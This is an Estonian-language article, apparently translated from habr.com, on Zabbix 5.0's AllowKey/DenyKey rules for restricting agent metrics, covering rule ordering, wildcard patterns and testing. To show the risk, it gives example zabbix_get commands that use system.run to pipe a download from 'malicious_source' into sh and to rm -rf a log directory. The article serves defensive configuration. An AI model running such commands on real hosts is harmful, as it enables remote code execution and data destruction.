
Toetatakse mustade ja valgete nimekirjade kasutamist agentide mÔÔdikute jaoks
Tihhon Uskov, Integreerimise insener, Zabbix
Andmete turvaprobleemid
Zabbix 5.0-s on uus funktsioon, mis parandab turvalisust sĂŒsteemides, mis kasutavad Zabbix Agenti ja asendab vana parameetri EnableRemoteCommands.
Agentide turvalisuse parandamine on tingitud asjaolust, et agent vÔib tÀita palju potentsiaalselt ohtlikke toiminguid.
- Agent saab koguda praktiliselt igasugust teavet, sealhulgas konfidentsiaalset vÔi potentsiaalselt ohtlikku teavet konfiguratsioonifailidest, logifailidest, paroolifailidest vÔi mistahes muudest failidest.
NÀiteks vÔib zabbix_get utiliidi abil pÀÀseda ligi kasutajate nimekirjale, nende kodukatsetele, paroolifailidele jne.

Andmete juurde pÀÀsemine zabbix_get utiliidi kaudu
MĂRKUS. Andmed saavad olla kĂ€ttevĂ”etavad ainult juhul, kui agentil on Ă”igus lugeda vastavat faili. Ent nĂ€iteks on fail /etc/passwd/ kĂ”ikidele kasutajatele loetav.
- Ameer vÔib samuti teostada potentsiaalselt ohtlikke kÀske. NÀiteks, vÔti *system.run[]** vÔimaldab tÀita kÔik kaugkÀsud vÔrgus, sealhulgas kÀivitada Zabbixi veebiliidesest skripte, mis tÀidavad ka kÀske agendi pool.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Linuxis kĂ€ivitub agent vaikimisi ilma root-privileegideta, samas kui Windowsis kĂ€ivitub see teenusena Systemi nimel ja omab piiramatut juurdepÀÀsu failisĂŒsteemile. Seega, kui Zabbix Agendi seadeid pĂ€rast installimist ei muudetud, on agendil juurdepÀÀs registrile, failisĂŒsteemile ja ta saab teostada WMI pĂ€ringuid.
Varasemates versioonides vĂ”imaldas parameeter EnableRemoteCommands=0 ainult keelata metrikad vĂ”tmega *system.run[]** ja skriptide tĂ€itmise veebiliidesest, kuid ei vĂ”imaldanud eraldi failidele juurdepÀÀsu piirata, eraldi vĂ”tmete lubamist vĂ”i keelamist, mis seadistati koos agendiga, vĂ”i piirata ĂŒksikute parameetrite kasutamist.

Varasemates Zabbixi versioonides parameetri EnableRemoteCommand kasutamine
AllowKey/DenyKey
Zabbix 5.0 aitab kaitsta sellise volitamata juurdepÀÀsu eest, kasutades agentide poolset meetrikate lubamise ja keeldumise valgeid ning mustasid nimesid.
Zabbix 5.0-s on kÔik vÔtmed, sealhulgas *system.run[]**, lubatud ning agentide konfiguratsiooni on lisatud kaks uut parameetrit:
AllowKey= â lubatud kontrollid;
DenyKey= â keelatud kontrollid;
kus â vĂ”tme nime mustri parameetrid, milles kasutatakse metasĂŒmboleid (*).
AllowKey ja DenyKey vĂ”tmed vĂ”imaldavad konkreetse mustri alusel lubada vĂ”i keelata ĂŒksikuid meetrikaid. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See vĂ”imaldab selgelt mÀÀratleda, mida agent sĂŒsteemis teha saab, luues kontrollide puu â tĂ€idetud vĂ”tmed, kus nende kirjutamise jĂ€rjekord mĂ€ngib vĂ€ga olulist rolli.
Reeglite jÀrjestus
Reeglid kontrollitakse selles jĂ€rjekorras, milles need on lisatud konfiguratsioonifaili. Klahvi kontrollimine reeglite jĂ€rgi toimub esimese vaste kuni esimese vasteni ja niipea, kui andmeelemendi vĂ”ti vastab mustrile, lubatakse vĂ”i keelatakse see. PĂ€rast seda reeglite kontrollimise protsess peatub ja ĂŒlejÀÀnud vĂ”tmeid ignoreeritakse.
SeetÔttu, kui element vastab nii lubavale kui ka keelavale reeglile, sÔltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.

2 erinevat reeglit, millel on sama muster ja vÔti vfs.file.size[/tmp/file]
Lubatud / Keelatud vÔtmete kasutamise jÀrjekord:
- tÀpsed reeglid,
- ĂŒldreeglid,
- keelav reegel.
NÀiteks, kui vajate juurdepÀÀsu failidele teatud kaustas, tuleb kÔigepealt lubada juurdepÀÀs neile, seejÀrel keelata kÔik muu, mis ei kuulu kehtestatud lubatud piirangute alla. Kui keelav reegel on esimesena kasutusele vÔetud, siis juurdepÀÀs kaustale keelatakse.

Ăige jĂ€rjestus
Kui on vajalik lubada 2 utiliidi kÀivitamine lÀbi *system.run[]**, ja eelnevalt on mÀrgitud keeld, utiliidid ei kÀivitu, kuna esimene musternÀidis vastab alati igale vÔtmele ning jÀrgnevaid eeskirju ei arvestata.

Vale jÀrjestus
Mustri tĂŒĂŒbid
PÔhireeglid
Muster on vĂ€ljend, mis sisaldab asendustĂ€hiseid (wildcard). MetasĂŒmbol (*) vastab igasuguste sĂŒmbolite arvule kindlas positsioonis. MetasĂŒmboleid vĂ”ib kasutada nii vĂ”tme nimedes kui ka parameetrites. NĂ€iteks vĂ”ib esimese parameetri kindlalt mÀÀrata tekstina, ja jĂ€rgneva mÀÀrata wildcard'ina.
Parameetrid peavad olema kantud nurksulgudesse [].
system.run[*â valevfs.file*.txt]â valevfs.file.*[*]â Ă”ige
Wildcard'i kasutamise nÀited.
- Nii vÔtme nimedes kui ka parameetrites. Antud juhul ei vasta vÔti analoogsele vÔtmele, mis ei sisalda parameetrit, kuna musternÀidises oleme mÀÀranud, et soovime saada mingit vÔtmename lÔppu ja mingit parameetrite kogumit.
- Kui musternÀidises ei ole nurksulge, lubab muster kÔik vÔtmed, mis ei sisalda parameetreid, ja keelab kÔik vÔtmed, millel on mÀrgitud parameeter.
- Kui vÔti on tÀielikult kirjutatud ja parameetrid on nÀidatud kui wildcard, vastab see igasugusele sarnasele vÔtmele, millel on mis tahes parameetrid ning ei vasta vÔtmele, millel ei ole ruudukaldeid, st see on lubatud vÔi keelatud.

Parameetrite tÀitmise reeglid.
- Kui kavandatakse vĂ”tme kasutamist koos parameetritega, peavad parameetrid olema mÀÀratletud konfiguratsioonifailis. Parameetrid peavad olema nĂ€idatud kui metasĂŒmbol. Oluline on ettevaatlikult keelata juurdepÀÀs igasugustele failidele ning arvesse vĂ”tta, millist teavet vĂ”ib mÔÔdik anda erinevate kirjutamisvariantide korral â koos parameetritega ja ilma nendeta.

Parameetritega vÔtmete kirjutamise eripÀrad
- Kui vĂ”ti on nĂ€idatud parameetritega, kuid parameetrid on valikulised ja nĂ€idatud kui metasĂŒmbol, on see, et vĂ”ti ilma parameetriteta on lubatud. NĂ€iteks, kui soovite keelata teabe saamise CPU koormuse kohta ja nĂ€itate, et vĂ”ti system.cpu.load[*] peab olema keelatud, Ă€rge unustage, et vĂ”ti ilma parameetriteta tagastab keskmise koormuse.

Parameetrite tÀitmise reeglid
MĂ€rkmed
Seadistamine
- MÔningaid reegleid ei saa kasutaja muuta, nÀiteks avastamis- (discovery) vÔi agentide automaatregistratsiooni reeglid. Reeglid AllowKey/DenyKey ei puuduta jÀrgmisi parameetreid:
â HostnameItem
â HostMetadataItem
â HostInterfaceItem
MĂRKUS. Kui administraator keelab mĂ”ne vĂ”tme, ei esita Zabbix taotluse korral teavet selle kohta, miks mÔÔdik vĂ”i vĂ”ti kuulub kategooriasse âNOTSUPPORTEDâ. Agendi logifailides ei kuvata teavet kaugkomandode tĂ€itmise keeldude kohta. See on tehtud turvakaalutlustel, kuid vĂ”ib keeruliseks muuta tĂ”rkeotsingu, kui mÔÔdikud satuvad mingil pĂ”hjusel toetamata kategooriasse..
- Ei tasu loota mingile kindlale jÀrjekorrale vÀliste konfiguratsioonifailide laadimisel (nÀiteks tÀhestikulises jÀrjekorras).
KĂ€surea utiliidid
PÀrast reeglite seadistamist on oluline veenduda, et kÔik on Ôigesti seadistatud.
Selleks on kolm varianti:
- Lisada mÔÔdik Zabbixisse.
- Testida zabbix_agentd. Zabbix agent koos valikuga -print (-p) nĂ€itab kĂ”iki vĂ”tmeid (mis on vaikimisi lubatud), vĂ€lja arvatud need, mis ei ole konfiguratsiooniga lubatud. Ja valikuga -test (-t) keelatud vĂ”tme jaoks tagastab âToetamata esemete vĂ”tiâ.
- Testida zabbix_get. Tööriist zabbix_get valikuga -k tagastab âZBX_NOTSUPPORTED: Tundmatu mÔÔdikâ.
Lubada vÔi keelata
Saate keelata juurdepÀÀsu failile ja veenduda, nÀiteks, tööriista abil zabbix_get, et juurdepÀÀs failile on keelatud.

**
MĂRKUS. Parameetri jutumĂ€rgid jĂ€etakse tĂ€helepanuta.
Sel juhul vĂ”ib sellisele failile olla lubatud juurdepÀÀs teise tee kaudu. NĂ€iteks, kui sellele viitab sĂŒmboolne link.

Soovitav on testida erinevaid rakendamisvĂ”imalusi seatud reeglite ning arvesse vĂ”tta vĂ”imalusi piirangute ĂŒletamiseks.
KĂŒsimused ja vastused
KĂŒsimus. Miks on reeglite, lubade ja keeldude kirjeldamiseks valitud nii keeruline mustrikeel? Miks ei saanud kasutada, nĂ€iteks, regulaarseid vĂ€ljendeid, mida kasutab Zabbix?
Vastus. See on regulaarsete vĂ€ljendite jĂ”udluse kĂŒsimus, kuna agent on tavaliselt ĂŒks ja see kontrollib tohutult palju mÔÔdikuid. Regulaarne vĂ€ljend on ĂŒsna ressursiintensiivne operatsioon ning me ei saa kontrollida tuhandeid mÔÔdikuid nii. Wildcard'id on universaalne, laialdaselt rakendatav ja lihtne lahendus..
KĂŒsimus. Kas Include-failid ei laadita mitte tĂ€hestikulises jĂ€rjekorras?
Vastus. Teadaolevalt on reeglite rakendamise jĂ€rjestuse ennustamine, kui jagate reeglid erinevatesse failidesse, praktiliselt vĂ”imatu. Soovitan koguda kĂ”ik AllowKey/DenyKey reeglid ĂŒhte Include faili, kuna nad suhtlevad omavahel, ja seejĂ€rel seda faili lisada..
KĂŒsimus. Zabbix 5.0 versioonis on vĂ”imalus âEnableRemoteCommands=â konfigureerimisfailist puudub ning saadaval on ainult AllowKey/DenyKey?
Vastus. Jah, kÔik on Ôige..
AitÀh tÀhelepanu eest!
Allikas: habr.com
